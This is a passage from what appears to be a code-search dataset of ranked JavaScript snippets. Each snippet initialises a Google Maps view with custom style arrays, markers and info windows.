\"color\": \"#333333\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"lightness\": 40\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"all\",\r\r\r\n \"elementType\": \"labels.text.stroke\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"visibility\": \"on\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"color\": \"#ffffff\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"lightness\": 16\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"all\",\r\r\r\n \"elementType\": \"labels.icon\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"visibility\": \"off\"\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"administrative\",\r\r\r\n \"elementType\": \"all\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"visibility\": \"simplified\"\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"administrative\",\r\r\r\n \"elementType\": \"geometry.fill\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"color\": \"#fefefe\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"lightness\": 20\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"administrative\",\r\r\r\n \"elementType\": \"geometry.stroke\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"color\": \"#fefefe\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"lightness\": 17\r\r\r\n },\r\r\r\n {\r\r\r\n \"weight\": 1.2\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"landscape\",\r\r\r\n \"elementType\": \"geometry\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"color\": \"#e8e8e8\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"lightness\": 20\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"poi\",\r\r\r\n \"elementType\": \"geometry\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"color\": \"#f5f5f5\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"lightness\": 21\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"poi\",\r\r\r\n \"elementType\": \"labels.text.stroke\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"visibility\": \"off\"\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"poi.park\",\r\r\r\n \"elementType\": \"geometry\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"color\": \"#d6e3c9\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"lightness\": 21\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"poi.park\",\r\r\r\n \"elementType\": \"labels.text.stroke\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"visibility\": \"off\"\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"road.highway\",\r\r\r\n \"elementType\": \"geometry.fill\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"color\": \"#ffffff\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"lightness\": 17\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"road.highway\",\r\r\r\n \"elementType\": \"geometry.stroke\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"color\": \"#ffffff\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"lightness\": 29\r\r\r\n },\r\r\r\n {\r\r\r\n \"weight\": 0.2\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"road.arterial\",\r\r\r\n \"elementType\": \"geometry\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"color\": \"#d4d4d4\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"lightness\": 18\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"road.arterial\",\r\r\r\n \"elementType\": \"labels.text.stroke\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"visibility\": \"off\"\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"road.local\",\r\r\r\n \"elementType\": \"geometry\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"color\": \"#d4d4d4\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"lightness\": 16\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"road.local\",\r\r\r\n \"elementType\": \"geometry.stroke\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"color\": \"#d1d1d1\"\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"road.local\",\r\r\r\n \"elementType\": \"labels.text.stroke\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"visibility\": \"off\"\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"transit\",\r\r\r\n \"elementType\": \"geometry\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"color\": \"#f2f2f2\"\r\r\r\n },\r\r\r\n {\r\r\r\n \"lightness\": 19\r\r\r\n }\r\r\r\n ]\r\r\r\n },\r\r\r\n {\r\r\r\n \"featureType\": \"water\",\r\r\r\n \"elementType\": \"geometry\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"lightness\": 17\r\r\r\n },\r\r\r\n {\r\r\r\n \"color\": \"#e9e6e3\"\r\r\r\n }\r\r\r\n ]\r\r\r\n }\r\r\r\n];\r\r\r\n\r\r\r\n\r\r\r\n\r\r\r\n // var\r\r\r\n\r\r\r\n var $markers = $el.find('.marker');\r\r\r\n\r\r\r\n\r\r\r\n\r\r\r\n // vars\r\r\r\n\r\r\r\n var args = {\r\r\r\n\r\r\r\n zoom : 6,\r\r\r\n\r\r\r\n center : new google.maps.LatLng(0, 0),\r\r\r\n\r\r\r\n mapTypeId : google.maps.MapTypeId.ROADMAP,\r\r\r\n\r\r\r\n streetViewControl: false,\r\r\r\n\r\r\r\n zoomControl: true,\r\r\r\n\r\r\r\n zoomControlOptions: {\r\r\r\n\r\r\r\n position: google.maps.ControlPosition.RIGHT_TOP\r\r\r\n\r\r\r\n },\r\r\r\n\r\r\r\n mapTypeControl: false,\r\r\r\n\r\r\r\n scrollwheel: false,\r\r\r\n\r\r\r\n fullscreenControl: false,\r\r\r\n\r\r\r\n disableDefaultUI: false,\r\r\r\n\r\r\r\n };\r\r\r\n\r\r\r\n\r\r\r\n\r\r\r\n // create map\r\r\r\n\r\r\r\n var map = new google.maps.Map($el[0], args);\r\r\r\n\r\r\r\n map.setOptions({\r\r\r\n\r\r\r\n styles: mapStyles\r\r\r\n\r\r\r\n });\r\r\r\n\r\r\r\n\r\r\r\n\r\r\r\n // add a markers reference\r\r\r\n\r\r\r\n map.markers = [];\r\r\r\n\r\r\r\n\r\r\r\n\r\r\r\n // add markers\r\r\r\n\r\r\r\n $markers.each(function(){\r\r\r\n\r\r\r\n add_marker( $(this), map );\r\r\r\n\r\r\r\n });\r\r\r\n\r\r\r\n\r\r\r\n\r\r\r\n // center map\r\r\r\n\r\r\r\n center_map( map );\r\r\r\n\r\r\r\n\r\r\r\n\r\r\r\n // return\r\r\r\n\r\r\r\n return map;\r\r\r\n\r\r\r\n}", "title": "" }, { "docid": "7117752e84152a00e494890c9c72d7cf", "score": "0.64065063", "text": "function LoadMap() {\n var mapOptions = {\n //Maps default location. Set to Dublin currently.\n center: new google.maps.LatLng(markers[8].lat, markers[8].lng),\n //Zoomed out view\n zoom: 2,\n styles: [{\n elementType: 'geometry.fill',\n stylers: [{\n color: '#dc3545'\n }]},\n {\n elementType: 'labels.icon',\n stylers: [{\n color: '#dc3545'\n }]},\n {\n elementType: 'labels.text',\n stylers: [{\n color: '#dc3545'\n }]},\n {\n elementType: 'labels.text.fill',\n stylers: [{\n weight: 0.5\n }]},\n {\n featureType: 'administrative',\n stylers: [{\n weight: 0.5\n }]},\n {\n featureType: 'administrative.land_parcel',\n stylers: [{\n color: '#dc3545'\n }]},\n {\n featureType: 'administrative.land_parcel',\n elementType: 'labels.text',\n stylers: [{\n color: '#dc3545'\n }]},\n {\n featureType: 'administrative.province',\n stylers: [{\n color: '#ffffff'\n },\n {\n visibility: 'simplified'\n }]},\n {\n featureType: 'administrative.province',\n elementType: 'geometry.fill',\n stylers: [{\n visibility: 'simplified'\n },\n {\n weight: 0.5\n }]},\n {\n featureType: 'landscape',\n stylers: [{\n color: '#ffffff'\n }]},\n {\n featureType: 'landscape',\n elementType: 'geometry.fill',\n stylers: [{\n color: '#ffffff'\n },\n {\n visibility: 'on'\n }]},\n {\n featureType: 'landscape.man_made',\n stylers: [{\n color: '#ffffff'\n }]},\n {\n featureType: 'landscape.natural',\n stylers: [{\n color: '#ffffff'\n }]},\n {\n featureType: 'landscape.natural.terrain',\n stylers: [{\n color: '#FFFFFF'\n }]},\n {\n featureType: 'road',\n stylers: [{\n visibility: 'off'\n }]},\n {\n featureType: 'transit',\n stylers: [{\n visibility: 'off'\n }]},\n {\n featureType: 'transit',\n elementType: 'geometry.fill',\n stylers: [{\n visibility: 'off'\n }]},\n {\n featureType: 'water',\n stylers: [{\n color: '#dc3545'\n }]}]\n };\n var map = new google.maps.Map(document.getElementById('map'), mapOptions);\n\n //Create and open InfoWindow.\n var infoWindow = new google.maps.InfoWindow();\n //Loop through map marker data and place pegs\n for (var i = 0; i < markers.length; i++) {\n // var icon = 'marker.png';\n var icon = 'https://i.imgur.com/d2DM8vA.png';\n var data = markers[i];\n var myLatlng = new google.maps.LatLng(data.lat, data.lng);\n //Create map marker icon with data.\n var marker = new google.maps.Marker({\n position: myLatlng,\n map: map,\n title: data.city,\n icon: icon\n });\n\n //Attach click event to the marker.\n (function (marker, data) {\n google.maps.event.addListener(marker, 'click', function (e) {\n //Check if there is one or two chapter leads. Top if statement is for one lead. Bottom is for two.\n if(true) {\n infoWindow.setContent(\n `<section class=\"info-window\">\n <h4>${ data.city }</h4>\n <h6>${ data.lead1 }</h6>\n <div class=\"info-icons\">\n <a href=\"${ data.facebook }\" target=\"_blank\">\n <i class=\"fa fa-facebook\"></i>\n </a>\n <a href=\"https://www.twitter.com/${ data.twitter }\" target=\"_blank\">\n <i class=\"fa fa-twitter\"></i>\n </a>\n <a href=\"${ data.linkedin1 }\" target=\"_blank\">\n <i class=\"fa fa-linkedin\"></i>\n </a>\n </div>\n </section>`\n );\n }\n // Simply opens the map and marker\n infoWindow.open(map, marker);\n });\n })(marker, data);\n }\n }", "title": "" }, { "docid": "b8397efc2501bdb389eb60c2ff95707d", "score": "0.6362409", "text": "function mapInit() {\n\t\t//What we want to include\n\t\tvar styles = [\n\t\t{\n\t\tfeatureType: \"poi\",\n\t\telementType: \"labels\",\n\t\tstylers: [{visibility: \"off\"}]\n\t\t},{\n\t\tfeatureType: \"transit.station\",\n \t\tstylers:[{visibility: \"off\" }]\n\t\t},{\n \t\tfeatureType: \"poi.attraction\",\n \t\tstylers: [{ visibility: \"off\" }]\n \t\t}\n\t\t]\n\t\tvar styledMap = new google.maps.StyledMapType(styles, {\n\t\t\tname: \"Styled Map\"\n\t\t});\n\t\tgoogle.maps.visualRefresh = true; //Enable visual refresh&lng=23.816874600000006\n\t\tvar centerCoord = new google.maps.LatLng(39.074208, 23.824312);\n\t\tvar mapOptions = {\n\t\t\tzoom: 7,\n\t\t\tcenter: centerCoord,\n\t\t\tdisableDoubleClickZoom: true,\n\t\t\tdraggableCursor: 'crosshair',\n\t\t\tmapTypeControl: true,\n\t\t\tmapTypeControlOptions: {\n\t\t\t\tstyle: google.maps.MapTypeControlStyle.HORIZONTAL_BAR,\n\t\t\t\tposition: google.maps.ControlPosition.LEFT_BOTTOM\n\t\t\t},\n\t\t\tpanControl: false,\n\t\t\tzoomControl: true,\n\t\t\tzoomControlOptions: {\n\t\t\t\t style: google.maps.ZoomControlStyle.LARGE\n\t\t\t},\n\t\t\tstreetViewControl: false,\n\t\t\tmapTypeId: google.maps.MapTypeId.ROADMAP\n\t\t};\n\t\tmap = new google.maps.Map(document.getElementById(\"map\"), mapOptions);\n\t\tmap.mapTypes.set('map', styledMap);\n\t\tmap.setMapTypeId('map');\n\t\t$.getJSON(\"markers_json.php?alt=\" + complex, {}, function (data) {\n\t\t\t$.each(data.places, function (i, item) {\n\t\t\t\t$(\"#markers\").append('<li><a href=\"#\" rel=\"' + i + '\">' + item.title + '</a></li>');\n\t\t\t\tvar marker = new google.maps.Marker({\n\t\t\t\t\tposition: new google.maps.LatLng( parseFloat(item.lat) + parseFloat((Math.random() * (0.0200) + 0.0200)), parseFloat(item.lng) + parseFloat((Math.random() * (0.0200) + 0.0200))),//item.lat , item.lng),\n\t\t\t\t\tmap: map,\n\t\t\t\t\ttitle: item.title,\n\t\t\t\t\t//TODO Add custom icon from DB query\n\t\t\t\t\t//icon: item.alert_icon,\n\t\t\t\t\tanimation: google.maps.Animation.DROP,\n\t\t\t\t\toptimized: true,\n\t\t\t\t});\n\t\t\t\tarrMarkers[i] = marker;\n\t\t\t\tvar article_content=window.atob(item.content).substring(0,1000);\n\t\t\t\t\n\t\t\t\tvar infowindow = new google.maps.InfoWindow({\n\t\t\t\tcontent: \"<div class='media' style='line-height:1.35;overflow:hidden;white-space:nowrap;'><div class='media-body'><h5 class='media-heading'>\" + item.title + \" <small>\" + item.date + \"</small></h5><em><p class='text-left'>\" + item.town + \"</p></em><div class='alert alert-warning'><div id='message_div'>\" + window.atob(item.content) + \"</div></div><p><div class='addrdiv'>\" + item.source + \"</div><p><a id='various' href='\"+ item.link+\"'/><input name='envier' type='submit' class='btn btn-default' id='form2' value='Σύνδεσμος πηγής'/></a> <input align='right' name='envier' type='submit' class='btn btn-success' id='form1' value='Κλείσιμο'/></p></div></div><br>\"\n\t\t\t\t});\n\t\t\t\tfunction showform(marker, handler) {\n\t\t\t\t\tif (infowindow) infowindow.close();\n\t\t\t\t\tif (handler) {\n\t\t\t\t\t\tgoogle.maps.event.addListener(infowindow, 'domready', handler);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tarrInfoWindows[i] = infowindow;\n\t\t\t\tgoogle.maps.event.addListener(marker, 'mouseover', function () {\n\t\t\t\t\tshowform(marker, function () {\n\t\t\t\t\t\t$(\"#form1\").click(function () {\n\t\t\t\t\t\t\tshowform();\n\t\t\t\t\t\t});\n\t\t\t\t\t});\n\t\t\t\t\tfor (x = 0; x < arrInfoWindows.length; x++) {\n\t\t\t\t\t\tarrInfoWindows[x].close();\n\t\t\t\t\t}\n\t\t\t\t\tinfowindow.open(map, marker);\n\t\t\t\t});\n\t\t\t\tgoogle.maps.event.addListener(infowindow, 'click', function () {\n\t\t\t\t\talert(\"asd\");\n\t\t\t\t});\n\t\t\t\t\n\t\t\t});\n\t\t});\n\t\tgoogle.maps.event.addListener(map, 'click', function (event) {\n\t\t\t/*if (marker) {\n\t\t\t\tmarker.setMap(null);\n\t\t\t\tmarker = null;\n\t\t\t}\n\t\t\tmarker = createMarker(event.latLng, \"name\", dam(event.latLng));\n\t\t\t*/\n\t\t});\n\t}", "title": "" }, { "docid": "8b1d024956ede6be0bd59e598b05f82a", "score": "0.6354649", "text": "function initMap() {\n console.log(\"search location: \", lat, lng);\n map = new google.maps.Map(document.getElementById('map'), {\n zoom: 13,\n center: { lat: lat, lng: lng },\n disableDefaultUI: true,\n styles: [\n\n {\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#212121\"\n }\n ]\n },\n {\n \"elementType\": \"labels.icon\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#757575\"\n }\n ]\n },\n {\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#212121\"\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#757575\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.country\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#9e9e9e\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.land_parcel\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.locality\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#bdbdbd\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#757575\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#181818\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#616161\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#1b1b1b\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#2c2c2c\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#8a8a8a\"\n }\n ]\n },\n {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#373737\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#3c3c3c\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway.controlled_access\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#4e4e4e\"\n }\n ]\n },\n {\n \"featureType\": \"road.local\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#616161\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#757575\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#3d3d3d\"\n }\n ]\n }\n\n ]\n });\n}", "title": "" }, { "docid": "511caca94f6e8b0667f3a93af4c665a8", "score": "0.63445246", "text": "function initMap() {\n var startPoint = {\n lat: -37.8153467,\n lng: 144.9583246\n };\n var map = new google.maps.Map(document.getElementById('map'), {\n center: startPoint,\n zoom: 10,\n scrollwheel: false,\n styles: [{\n 'featureType': 'administrative',\n 'elementType': 'all',\n 'stylers': [{\n 'saturation': '-100'\n }]\n }, {\n 'featureType': 'administrative.province',\n 'elementType': 'all',\n 'stylers': [{\n 'visibility': 'on'\n }]\n }, {\n 'featureType': 'landscape',\n 'elementType': 'all',\n 'stylers': [{\n 'saturation': -100\n }, {\n 'lightness': 65\n }, {\n 'visibility': 'on'\n }]\n }, {\n 'featureType': 'poi',\n 'elementType': 'all',\n 'stylers': [{\n 'saturation': -100\n }, {\n 'lightness': '50'\n }, {\n 'visibility': 'simplified'\n }]\n }, {\n 'featureType': 'road',\n 'elementType': 'all',\n 'stylers': [{\n 'saturation': '-100'\n }]\n }, {\n 'featureType': 'road.highway',\n 'elementType': 'all',\n 'stylers': [{\n 'visibility': 'simplified'\n }]\n }, {\n 'featureType': 'road.arterial',\n 'elementType': 'all',\n 'stylers': [{\n 'lightness': '30'\n }]\n }, {\n 'featureType': 'road.local',\n 'elementType': 'all',\n 'stylers': [{\n 'lightness': '40'\n }]\n }, {\n 'featureType': 'transit',\n 'elementType': 'all',\n 'stylers': [{\n 'saturation': -100\n }, {\n 'visibility': 'simplified'\n }]\n }, {\n 'featureType': 'water',\n 'elementType': 'geometry',\n 'stylers': [{\n 'hue': '#ffff00'\n }, {\n 'lightness': -25\n }, {\n 'saturation': -97\n }]\n }, {\n 'featureType': 'water',\n 'elementType': 'labels',\n 'stylers': [{\n 'lightness': -25\n }, {\n 'saturation': -100\n }]\n }]\n });\n var im = '/images/bluedot.png';\n var marker = new google.maps.Marker({\n icon: im,\n map: map\n });\n var infoWindow = new google.maps.InfoWindow({\n map: map,\n pixelOffset: new google.maps.Size(0,-33)\n });\n\n // Try HTML5 geolocation.\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(function(position) {\n var pos = {\n lat: position.coords.latitude,\n lng: position.coords.longitude\n };\n infoWindow.setPosition(pos);\n infoWindow.setContent('Your location');\n marker.setPosition(pos);\n map.setCenter(pos);\n }, function() {\n handleLocationError(true, infoWindow, map.getCenter());\n });\n } else {\n // Browser doesn't support Geolocation\n handleLocationError(false, infoWindow, map.getCenter());\n }\n}", "title": "" }, { "docid": "41f7c4f44b6ce353c05571465c635be4", "score": "0.63403225", "text": "function basicmap() {\n // Basic options for a simple Google Map\n // For more options see: https://developers.google.com/maps/documentation/javascript/reference#MapOptions\n var mapOptions = {\n // How zoomed in you want the map to start at (always required)\n zoom: 11,\n scrollwheel: false,\n // The latitude and longitude to center the map (always required)\n center: new google.maps.LatLng(40.6700, -73.9400), // New York\n // This is where you would paste any style found on Snazzy Maps.\n styles: [\n { \"featureType\": \"water\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#e9e9e9\" }, { \"lightness\": 17 }] }, \n { \"featureType\": \"landscape\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#f5f5f5\" }, { \"lightness\": 20 }] }, \n { \"featureType\": \"road.highway\", \"elementType\": \"geometry.fill\", \"stylers\": [{ \"color\": \"#ffffff\" }, { \"lightness\": 17 }] }, \n { \"featureType\": \"road.highway\", \"elementType\": \"geometry.stroke\", \"stylers\": [{ \"color\": \"#ffffff\" }, { \"lightness\": 29 }, { \"weight\": .2 }] }, \n { \"featureType\": \"road.arterial\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#ffffff\" }, { \"lightness\": 18 }] }, \n { \"featureType\": \"road.local\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#ffffff\" }, { \"lightness\": 16 }] }, \n { \"featureType\": \"poi\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#f5f5f5\" }, { \"lightness\": 21 }] }, \n { \"featureType\": \"poi.park\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#dedede\" }, { \"lightness\": 21 }] }, \n { \"elementType\": \"labels.text.stroke\", \"stylers\": [{ \"visibility\": \"on\" }, { \"color\": \"#ffffff\" }, { \"lightness\": 16 }] }, \n { \"elementType\": \"labels.text.fill\", \"stylers\": [{ \"saturation\": 36 }, { \"color\": \"#333333\" }, { \"lightness\": 40 }] }, \n { \"elementType\": \"labels.icon\", \"stylers\": [{ \"visibility\": \"off\" }] }, \n { \"featureType\": \"transit\", \"elementType\": \"geometry\", \"stylers\": [{ \"color\": \"#f2f2f2\" }, { \"lightness\": 19 }] }, \n { \"featureType\": \"administrative\", \"elementType\": \"geometry.fill\", \"stylers\": [{ \"color\": \"#fefefe\" }, { \"lightness\": 20 }] }, \n { \"featureType\": \"administrative\", \"elementType\": \"geometry.stroke\", \"stylers\": [{ \"color\": \"#fefefe\" }, { \"lightness\": 17 }, { \"weight\": 1.2 }] }]\n };\n // Get the HTML DOM element that will contain your map \n // We are using a div with id=\"map\" seen below in the <body>\n var mapElement = document.getElementById('contact-map');\n\n // Create the Google Map using our element and options defined above\n var map = new google.maps.Map(mapElement, mapOptions);\n\n // Let's also add a marker while we're at it\n var marker = new google.maps.Marker({\n position: new google.maps.LatLng(40.6700, -73.9400),\n map: map,\n title: 'Cryptox'\n });\n }", "title": "" }, { "docid": "3debb53e477c7ea5892e6261f242383b", "score": "0.6337618", "text": "function initialize() {\n var centre = new google.maps.LatLng(13.0503, 80.2235);\n var mapOptions = {\n center: centre,\n zoom: 14,\n //mapTypeId: google.maps.MapTypeId.ROADMAP,\n // ULTRA LIGHT: style: [{\"featureType\":\"water\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#e9e9e9\"},{\"lightness\":17}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f5f5f5\"},{\"lightness\":20}]},{\"featureType\":\"road.highway\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#ffffff\"},{\"lightness\":17}]},{\"featureType\":\"road.highway\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#ffffff\"},{\"lightness\":29},{\"weight\":0.2}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#ffffff\"},{\"lightness\":18}]},{\"featureType\":\"road.local\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#ffffff\"},{\"lightness\":16}]},{\"featureType\":\"poi\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f5f5f5\"},{\"lightness\":21}]},{\"featureType\":\"poi.park\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#dedede\"},{\"lightness\":21}]},{\"elementType\":\"labels.text.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"color\":\"#ffffff\"},{\"lightness\":16}]},{\"elementType\":\"labels.text.fill\",\"stylers\":[{\"saturation\":36},{\"color\":\"#333333\"},{\"lightness\":40}]},{\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"transit\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f2f2f2\"},{\"lightness\":19}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#fefefe\"},{\"lightness\":20}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#fefefe\"},{\"lightness\":17},{\"weight\":1.2}]}]\n style: [{\"featureType\":\"landscape\",\"stylers\":[{\"visibility\":\"simplified\"},{\"color\":\"#2b3f57\"},{\"weight\":0.1}]},{\"featureType\":\"administrative\",\"stylers\":[{\"visibility\":\"on\"},{\"hue\":\"#ff0000\"},{\"weight\":0.4},{\"color\":\"#ffffff\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"labels.text\",\"stylers\":[{\"weight\":1.3},{\"color\":\"#FFFFFF\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f55f77\"},{\"weight\":3}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f55f77\"},{\"weight\":1.1}]},{\"featureType\":\"road.local\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f55f77\"},{\"weight\":0.4}]},{},{\"featureType\":\"road.highway\",\"elementType\":\"labels\",\"stylers\":[{\"weight\":0.8},{\"color\":\"#ffffff\"},{\"visibility\":\"on\"}]},{\"featureType\":\"road.local\",\"elementType\":\"labels\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"labels\",\"stylers\":[{\"color\":\"#ffffff\"},{\"weight\":0.7}]},{\"featureType\":\"poi\",\"elementType\":\"labels\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"poi\",\"stylers\":[{\"color\":\"#6c5b7b\"}]},{\"featureType\":\"water\",\"stylers\":[{\"color\":\"#f3b191\"}]},{\"featureType\":\"transit.line\",\"stylers\":[{\"visibility\":\"on\"}]}]\n };\n // Get the HTML DOM element that will contain your map \n // We are using a div with id=\"map\" seen below in the <body>\n var mapElement = document.getElementById('map');\n\n // Create the Google Map using our element and options defined above\n var map = new google.maps.Map(mapElement, mapOptions);\n\n // Let's also add a marker while we're at it\n var marker = new google.maps.Marker({\n position: centre,\n map: map,\n title: 'MealBasket'\n }); \n\n /*var rad = 2000;\n\n var circle = new google.maps.Circle({\n center: centre,\n radius: rad,\n strokeColor: \"#F29500\",\n strokeOpacity: 0.8,\n strokeWeight: 2,\n fillColor: \"#D9B700\",\n fillOpacity: 0.3,\n map: map\n });*/\n }", "title": "" }, { "docid": "ca9fab0045dba3a5ae3699bddc463a2b", "score": "0.63309926", "text": "function initMap() {\r\n\r\n var mapOptions = {\r\n\r\n zoom: 14,\r\n center: {\r\n lat: 49.2498895,\r\n lng: -123.0016751\r\n },\r\n\r\n styles: [{\r\n elementType: 'geometry',\r\n stylers: [{\r\n color: '#242f3e'\r\n }]\r\n },\r\n {\r\n elementType: 'labels.text.stroke',\r\n stylers: [{\r\n color: '#242f3e'\r\n }]\r\n },\r\n {\r\n elementType: 'labels.text.fill',\r\n stylers: [{\r\n color: '#c48b31'\r\n }]\r\n },\r\n {\r\n featureType: 'poi',\r\n stylers: [{\r\n \"visibility\": \"off\"\r\n }]\r\n },\r\n {\r\n featureType: 'poi',\r\n elementType: 'labels.text',\r\n stylers: [{\r\n \"visibility\": \"off\"\r\n }]\r\n },\r\n {\r\n featureType: 'poi.park',\r\n elementType: 'geometry',\r\n stylers: 